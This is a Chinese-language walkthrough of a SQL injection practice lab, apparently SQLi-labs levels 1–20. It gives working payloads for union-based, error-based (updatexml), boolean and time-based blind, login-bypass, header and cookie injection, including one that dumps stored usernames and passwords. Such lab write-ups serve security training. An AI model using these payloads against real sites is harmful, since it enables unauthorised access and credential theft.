第一关
第一关可以使用联合注入查询来进行爆破,首先使用HackBar 后输入?id=1 出现正常回显,接着用order by 查看有多少回显点 发现是3, 语句为:http://www.123.com/Less-1/?id=1 order by --+
知道回显后,可以使用union select 1,2,3 发现回显位置 。http://www.123.com/Less-1/?id=-1'union select 1,2,3--+,
接着使用user()l来爆出使用者的名
第二关
先判断数据类型 用1/1发现正常 1/0不正常,说明数据为数字型
然后使用联合注入查询,union select 1,2,3 查询语句:http://www.123.com/Less-2/
?id=-1 union select 1,2,3 --+ ,后续和第一关相同
第三关
首先用一个引号发现报错,两个不报错,所以先加上一个单引号,http://www.123.com/Less-3/
?id=1'and 1=1--+,发现报错,然后尝试使用union 来,发现报错,通过提示信息,可能是括号木有不合,
然后加了一个括号再试,发现成功,所以,在注入时,要看闭合问题,比如括号等,后续就和第一关相似了
第四关
首先判断为字节型, 加单引号都没有变化,然后加双引号后发现出现报错,http://www.123.com/Less-4/?id=1" order by 1--+ 发现又是报错,通过分析报错语句,发现没有闭合,所以加括号后,可以成功。
再次使用union,发现不可用,单有报错信息,可以尝试报错注入, http://www.123.com/Less-4/?id=1")and updatexml(1,concat(0x7e,database()),1) --+,爆出数据库命,
第五关
判断数据类型为字符型,加一个单引号报错,加两个正常输出,所以可以使用报错注入,爆出数据库名 http://www.123.com/Less-5/?id=1'and updatexml(1,concat(0x7e,database()),1) --+
第六关
判断数据类型为字符型,加单引号没有变化,加双引号出现变化,然后可以使用盲注,先构造轮子,发现1=1和1=0有差别,用if()函数,首先用bp抓包,然后用length爆出database()的长度,发现长度为8
然后可以用left来爆出database()的子符串
第七关
使用一个单引号发现出现问题,使用两个单引号恢复,当构造轮子后,发现页面有变化,但长度没有变,可以使用sleep()函数来找,发现
然后发现可以使用构造轮子的办法爆出数据库名 GET /Less-7/?id=1'))and+if(mid(database(),1,1)='s',sleep(5),0)=1--+
第八关
首先用单引号,发现有变化,所以构造一个轮子1=1,然后发现可以使用,构造 /Less-8/?id=1'and+1=1--+ HTTP/1.1
然后可以使用length爆出数据库名的长度,在爆出书库名
第九关
思路于第八关相同
第十关
思路与第八关相同,只需将单引号变为双引号
第十一关
这一关以后,界面有了变化,输入用户名密码,出现界面,在admin后面加 admin' or 1=1--+,发现提示错误,
看语句分析,可以得到并没有将后面的注释掉,在换掉变成#号 ,登录成功。后续判断username是说什么类型数据,当输入1时出现错误,然后用联合注入1'union select 1,2#,
第十二关
使用1和1'发现都没有变化,当输入1“时,发现产生报错信息,分析报错信息,需要添加一个括号来进行闭合 1”)or 1=1--+
然后可以使用1“)union select 1,2#l来进行输出
第十三关
输入1'产生报错信息,说明有sql注入,但补全后发现页面没有变化,只能使用盲注
先知道长度,然后爆破数据库名
第十四关
使用1”出现了报错信息,然后1“or 1=1#页面没有变化,抓包,可能要使用盲注。所以构造轮子,发现1=1与1=0不同,可以使用盲注。1”or 1=1#
第十五关
使用1,1‘,1“页面都没有明显的变化,抓包以后,构造一个恒成立的式子来看,发现1’or 1=1#有变化,可以进行盲注
所以直接使用盲注即可
第十六关
使用一个恒等式发现只有1”)or 1=1#可以进行盲注
第十七关
页面是一个密码重置页面,已经登录系统了,然后查看我们源码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,这里有一个update更新数据库里面信息。所以用到报错注入。
第十八关
通过下面的IP地址和抓到的包可以知道,此处可能存在UA注入
在UA头上写 1',1,updatexml(1,concat(0x5e,database()),1))#
第十九关
refer注入
第二十关
cookie注入
'and updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#